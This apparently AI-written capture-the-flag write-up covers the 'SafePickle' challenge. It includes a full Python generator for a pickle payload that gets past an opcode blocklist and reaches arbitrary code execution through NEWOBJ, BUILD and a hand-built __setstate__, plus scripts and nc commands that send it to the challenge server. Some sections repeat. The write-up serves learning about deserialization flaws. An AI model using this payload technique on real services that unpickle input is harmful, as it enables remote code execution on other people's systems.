//SafePickle
Category: Misc
Target: remote service at nc 35.194.98.181 53117
Flag format: TSGCTF{...}
>TL;DR
-
The service bans the pickling opcodes that are commonly abused for RCE (e.g.,
REDUCE,INST,OBJ) but still callspickle.loadson untrusted input. -
I exploited the fact that
NEWOBJ+BUILDremain available and can be used to create objects with attacker-controlled__setstate__/__setstate__-like behavior. This allows reading the flag without using theREDUCEopcode. -
Local flag:
TSGCTF{DUMMY} -
Remote flag: TSGCTF{Reduce();Reuse();Recycle()}
>Files in the challenge
-
safepickle/src/server.py— the server script that reads hex, verifies disallowed opcodes viapickletools.genops()and printspickle.loads()output. -
safepickle/build/flag.txt— the local dummy flag. -
exploit_local.py— the exploit/payload generator used in this writeup (included below).
>Recon — what the server does 🔍
server.py:
import pickle, pickletools
BANNED_OPS = [
"EXT1", "EXT2", "EXT4", "REDUCE", "INST", "OBJ", "PERSID", "BINPERSID",
]
data = bytes.fromhex(input("input pickle (hex)> "))
try:
for opcode, arg, pos in pickletools.genops(data):
if opcode.name in BANNED_OPS:
print(f"Banned opcode used: {opcode.name}")
exit(0)
except Exception as e:
print("Error :(")
exit(0)
print(pickle.loads(data))
Observations:
-
The service uses
pickletools.genops()to detect certain dangerous opcodes and exits if any are used. -
Despite banning
REDUCE(a very common gadget path to RCE),pickle.loads()is still called on the unchecked input. -
If we can find a way to cause side effects during or immediately after
pickle.loads()without using the banned opcodes, we can still get RCE/flag access.
>Attack idea — why not REDUCE? Why NEWOBJ/BUILD works 💡
-
REDUCEencodes "call this callable with these args" and is often used in RCE gadget chains. Blocking it helps but is not a full protection. -
The pickle protocol includes other opcodes such as
NEWOBJ(new object creation) andBUILD(applies state, invoking__setstate__if present). If we can craft objects that execute code in__setstate__, we can trigger code execution withoutREDUCE. -
Idea: construct a
types.CodeTypeobject (a code object), build atypes.FunctionTypearound it, add it as__setstate__in a freshly constructed class, instantiate that class, and then callBUILDwith a chosen state — then__setstate__runs our function which reads and prints the flag.
Why it's practical:
-
GLOBAL,NEWOBJ,BUILD, and memo selectors likeBINGETare not in the banned list; they allow us to create objects and call constructors. -
Python lets us construct
CodeTypeandFunctionTypevia pickling when we can push the right constructor arguments and avoid banned opcodes.
Reference reading that inspired this approach:
-
Python pickle documentation — understanding opcodes and
__setstate__semantics -
Various pickling RCE writeups that use
__setstate__or__reduce__as gadgets (common resources on RCE via pickle)
(See the References section at the end for more.)
>Build & test locally 🧪
Proof of concept: generator and tests
I created exploit_local.py to generate a protocol-4 pickle (hex) that:
-
Constructs a
CodeType(bytecode of a__setstate__function that prints the flag), -
Wraps it into a
FunctionType, -
Creates a new class with
type.__new__(...)and sets its__setstate__to the function, -
Instantiates that class,
-
Uses
BUILDwithNoneas state to invoke the__setstate__and print the flag.
The generator checks the produced pickle with pickletools.genops() and ensures none of the banned opcodes appear.
Full solver (exploit_local.py):
#!/usr/bin/env python3
import struct
import types
import pickletools
BANNED_OPS = {
"EXT1",
"EXT2",
"EXT4",
"REDUCE",
"INST",
"OBJ",
"PERSID",
"BINPERSID",
}
def op_global(module: str, name: str) -> bytes:
# GLOBAL opcode works across protocols: c<module>\n<name>\n
return b"c" + module.encode() + b"\n" + name.encode() + b"\n"
def op_none() -> bytes:
return b"N"
def op_empty_dict() -> bytes:
return b"}"
def op_empty_tuple() -> bytes:
return b")"
def op_mark() -> bytes:
return b"("
def op_tuple() -> bytes:
return b"t"
def op_setitem() -> bytes:
return b"s"
def op_binunicode(s: str) -> bytes:
b = s.encode("utf-8")
return b"X" + struct.pack("<I", len(b)) + b
def op_binbytes(b: bytes) -> bytes:
return b"B" + struct.pack("<I", len(b)) + b
def op_binint(n: int) -> bytes:
# Minimal encoding for small ints
if 0 <= n <= 0xFF:
return b"K" + bytes([n])
if 0 <= n <= 0xFFFF:
return b"M" + struct.pack("<H", n)
return b"J" + struct.pack("<i", n)
def op_newobj() -> bytes:
return b"\x81"
def op_build() -> bytes:
return b"b"
def op_memoize() -> bytes:
# Protocol 4+
return b"\x94"
def op_binget(idx: int) -> bytes:
if not (0 <= idx <= 0xFF):
raise ValueError("Only supports 1-byte memo indexes")
return b"h" + bytes([idx])
def op_pop() -> bytes:
return b"0"
def op_stop() -> bytes:
return b"."
def proto(n: int) -> bytes:
return b"\x80" + bytes([n])
def code_ctor_args_for_payload() -> tuple:
# Build a tiny function and reuse its bytecode layout.
def __setstate__(self, state):
import os
path = "flag.txt"
if not os.path.exists(path):
path = "build/flag.txt"
print(open(path).read())
co = __setstate__.__code__
# Python 3.10 CodeType signature:
# (argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags,
# codestring, constants, names, varnames, filename, name,
# firstlineno, lnotab, freevars, cellvars)
return (
co.co_argcount,
co.co_posonlyargcount,
co.co_kwonlyargcount,
co.co_nlocals,
co.co_stacksize,
co.co_flags,
co.co_code,
co.co_consts,
co.co_names,
co.co_varnames,
co.co_filename,
co.co_name,
co.co_firstlineno,
co.co_lnotab,
co.co_freevars,
co.co_cellvars,
)
def build_tuple(items: list[bytes]) -> bytes:
# Use MARK ... TUPLE
out = [op_mark()]
out.extend(items)
out.append(op_tuple())
return b"".join(out)
def build_payload() -> bytes:
args = code_ctor_args_for_payload()
# Encode CodeType constructor args
code_args_encoded: list[bytes] = []
for v in args:
if v is None:
code_args_encoded.append(op_none())
elif isinstance(v, int):
code_args_encoded.append(op_binint(v))
elif isinstance(v, bytes):
code_args_encoded.append(op_binbytes(v))
elif isinstance(v, str):
code_args_encoded.append(op_binunicode(v))
elif isinstance(v, tuple):
# Recursively encode tuples of simple constants
inner: list[bytes] = []
for x in v:
if x is None:
inner.append(op_none())
elif isinstance(x, int):
inner.append(op_binint(x))
elif isinstance(x, bytes):
inner.append(op_binbytes(x))
elif isinstance(x, str):
inner.append(op_binunicode(x))
else:
raise TypeError(f"Unsupported const type in tuple: {type(x)}")
code_args_encoded.append(build_tuple(inner))
else:
raise TypeError(f"Unsupported CodeType arg type: {type(v)}")
p = bytearray()
p += proto(4)
# 1) Create code object: types.CodeType(*args)
p += op_global("types", "CodeType")
p += build_tuple(code_args_encoded)
p += op_newobj()
# memo[0] = code
p += op_memoize()
p += op_pop()
# 2) Build globals dict: {'__builtins__': builtins.__dict__}
p += op_empty_dict()
p += op_binunicode("__builtins__")
p += op_global("builtins", "__dict__")
p += op_setitem()
# memo[1] = globals
p += op_memoize()
p += op_pop()
# 3) Create function: types.FunctionType(code, globals)
p += op_global("types", "FunctionType")
p += build_tuple([op_binget(0), op_binget(1)])
p += op_newobj()
# memo[2] = function
p += op_memoize()
p += op_pop()
# 4) Build class dict: {'__setstate__': function}
p += op_empty_dict()
p += op_binunicode("__setstate__")
p += op_binget(2)
p += op_setitem()
# memo[3] = classdict
p += op_memoize()
p += op_pop()
# 5) Build bases tuple: (object,)
p += build_tuple([op_global("builtins", "object")])
# memo[4] = bases
p += op_memoize()
p += op_pop()
# 6) Create class via type.__new__(type, 'X', bases, classdict)
p += op_global("builtins", "type")
p += build_tuple([
op_binunicode("X"),
op_binget(4),
op_binget(3),
])
p += op_newobj()
# memo[5] = class
p += op_memoize()
p += op_pop()
# 7) Instantiate object: cls.__new__(cls)
p += op_binget(5)
p += op_empty_tuple()
p += op_newobj()
# 8) Trigger __setstate__ via BUILD with state=None
p += op_none()
p += op_build()
p += op_stop()
return bytes(p)
def check_banned(data: bytes) -> None:
for opcode, _arg, _pos in pickletools.genops(data):
if opcode.name in BANNED_OPS:
raise ValueError(f"Banned opcode used: {opcode.name}")
def main() -> None:
payload = build_payload()
check_banned(payload)
print(payload.hex())
if __name__ == "__main__":
main()
Annotated walkthrough of exploit_local.py
- Helpers (opcodes):
- op_global(module,name) — emits GLOBAL (c) for referencing constructors like types.CodeType and types.FunctionType.
- op_binunicode, op_binbytes, op_binint — helpers for encoding immediate constants (strings, bytes, small integers).
- op_newobj, op_build, op_memoize, op_binget, op_pop, op_stop — small wrappers for the matching pickle opcodes used in protocol 4.
-
code_ctor_args_for_payload()— creates a small__setstate__function in-place and extracts its__code__fields (arg counts, bytecode, constants, names, filename, etc.). The function body readsflag.txtorbuild/flag.txtand prints it. -
build_tuple(items)— helper to emit a MARK, items, and TUPLE; used to provide argument tuples for various constructor calls. -
build_payload()— the main assembly routine. Steps it performs:
- Build a CodeType object using types.CodeType + its constructor args, then NEWOBJ to create it and MEMOIZE it (memo[0]).
- Create the globals dict {'__builtins__': builtins.__dict__} and MEMOIZE it (memo[1]).
- Use types.FunctionType with the code and globals to create the function object (memo[2]).
- Build a class dict where __setstate__ points to the function (memo[3]).
- Build a bases tuple containing object (memo[4]).
- Create a new class via type.__new__ with name 'X', the bases tuple and classdict (memo[5]).
- Instantiate the class (NEWOBJ) and then BUILD with None as the state so the created instance's __setstate__ is invoked.
- Stop the pickle stream.
-
check_banned()— validates the generated payload usingpickletools.genops()to ensure none of the banned opcode names are present. -
main()— prints the hex representation of the payload. Run directly withpython3 exploit_local.py.
Automated remote exploit (exploit_remote.py)
This small script imports build_payload() from exploit_local.py, sends the hex payload to the remote host and prints the server response.
#!/usr/bin/env python3
import socket
from exploit_local import build_payload
HOST = '35.194.98.181'
PORT = 53117
def run():
p = build_payload()
hexp = p.hex() + "\n"
with socket.create_connection((HOST, PORT), timeout=10) as s:
s.sendall(hexp.encode())
resp = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
except Exception:
pass
print(resp.decode(errors='ignore'))
if __name__ == '__main__':
run()
Usage example from the repo root:
$ python3 exploit_remote.py
input pickle (hex)> TSGCTF{Reduce();Reuse();Recycle()}
<__main__.X object at 0x7c484d607df0>
Opcode check (proof banned opcodes are absent)
When inspecting the generated payload with pickletools.genops() I observed the opcode sequence and verified that no banned opcode is used:
payload_len= 465
opcodes: ['PROTO', 'GLOBAL', 'MARK', 'BININT1', ..., 'NEWOBJ', 'MEMOIZE', 'POP', 'EMPTY_DICT', 'BINUNICODE', 'GLOBAL', 'SETITEM', 'MEMOIZE', 'POP', 'GLOBAL', 'MARK', 'BINGET', 'BINGET', 'TUPLE', 'NEWOBJ', 'MEMOIZE', 'POP', 'EMPTY_DICT', 'BINUNICODE', 'BINGET', 'SETITEM', 'MEMOIZE', 'POP', 'MARK', 'GLOBAL', 'TUPLE', 'MEMOIZE', 'POP', 'GLOBAL', 'MARK', 'BINUNICODE', 'BINGET', 'BINGET', 'TUPLE', 'NEWOBJ', 'MEMOIZE', 'POP', 'BINGET', 'EMPTY_TUPLE', 'NEWOBJ', 'NONE', 'BUILD', 'STOP']
banned present? False
Run locally
- Generate hex payload and run server locally to see the dummy flag:
$ printf '%s\n' "$(python3 exploit_local.py)" | python3 safepickle/src/server.py
input pickle (hex)> TSGCTF{DUMMY}
<__main__.X object at 0x75740857e980>
(Works as expected.)
Run remote (automated)
$ python3 exploit_remote.py
input pickle (hex)> TSGCTF{Reduce();Reuse();Recycle()}
<__main__.X object at 0x7c484d607df0>
Notes / References
-
Python
pickledocs: https://docs.python.org/3/library/pickle.html -
pickletoolsdocs: https://docs.python.org/3/library/pickletools.html -
Background reading on pickle RCE chains and
__setstate__/__reduce__exploitation (various writeups and blog posts).
If you want, I can now:
-
Add explicit, line-by-line comments inline into
exploit_local.pyitself for educational value, or -
Create a small tutorial section inside
writeup.mdthat demonstratespickleopcodes with minimal examples.
Next section: "Run locally"
- Generate the hex payload:
$ python3 exploit_local.py
80046374797065730a436f6465547970650a284b024b004b004b024b034b5342140000007400740164018301a002a1008301010064005300284e5808000000666c61672e747874742858050000007072696e7458040000006f70656e5804000000726561
- Feed it to the local server (the server prints the file contents which contains the dummy flag):
$ printf '%s
' "<HEXPAYLOAD>" | python3 safepickle/src/server.py
input pickle (hex)> TSGCTF{DUMMY}
<__main__.X object at 0x75740857e980>
- Explanation: The printed
TSGCTF{DUMMY}confirms our__setstate__was executed and readbuild/flag.txt.
>Exploiting remote service 🎯
Because the local service behavior matches the remote challenge (same code), I reused the same payload on the remote nc service.
Example interaction:
# generate payload and send it to remote
$ HEX=$(python3 exploit_local.py)
$ (echo "$HEX"; sleep 1) | nc 35.194.98.181 53117
input pickle (hex)> TSGCTF{Reduce();Reuse();Recycle()}
<__main__.X object at 0x7c484d607df0>
And there we have the remote flag: TSGCTF{Reduce();Reuse();Recycle()}
>Implementation notes & pitfalls 🔧
-
The generator builds a
types.CodeTypewith the same shape as a small__setstate__function created in-place. Python 3.10 has a specificCodeTypesignature (the functioncode_ctor_args_for_payload()takes the__code__object and reuses fields). -
Care must be taken to keep everything in protocol 4 opcodes and to use
MEMOIZE/BINGETwhen referencing constructed objects multiple times. -
I verified generated pickles do not use banned opcodes using
pickletools.genops()before sending to the server.
>Why this is instructive (lessons learned) 💡
-
Blocking
REDUCEis helpful but not sufficient: other opcodes (NEWOBJ,BUILD) combined with__setstate__can still lead to code execution. -
Always be cautious with
pickle.loads()on untrusted data — sanctifying certain opcodes is fragile. -
When exploiting pickle, constructing
CodeTypeandFunctionTypeby hand lets you run arbitrary Python logic without callingREDUCE.
>Terminal output (relevant snippets) 📋
Local run against server.py:
$ cd safepickle
$ python3 exploit_local.py
... (hex payload) ...
$ printf '%s
' "$(python3 exploit_local.py)" | python3 src/server.py
input pickle (hex)> TSGCTF{DUMMY}
<__main__.X object at 0x75740857e980>
Remote run:
$ HEX=$(python3 exploit_local.py)
$ (echo "$HEX"; sleep 1) | nc 35.194.98.181 53117
input pickle (hex)> TSGCTF{Reduce();Reuse();Recycle()}
<__main__.X object at 0x7c484d607df0>
>References & further reading 📚
-
Python official pickle docs — https://docs.python.org/3/library/pickle.html
-
Python pickletools docs — https://docs.python.org/3/library/pickletools.html
-
Public writeups on Python Pickle RCE (many blog posts covering exploitation via reduce / setstate / constructing CodeType)
>Wrap-up ✅
-
The challenge demonstrates a practical, realistic scenario: banning well-known dangerous pickle opcodes is not a secure substitute for not calling
pickle.loads()on untrusted input. -
The exploit is compact, uses only allowed opcodes and standard library pieces, and demonstrates how
__setstate__can be used to run attacker code.
If you'd like, I can also add:
-
A smaller, commented breakdown of the
exploit_local.pyinternals line-by-line, or -
A small script that automates sending the payload to the remote host and parsing the flag automatically.
Happy pwnage! ✨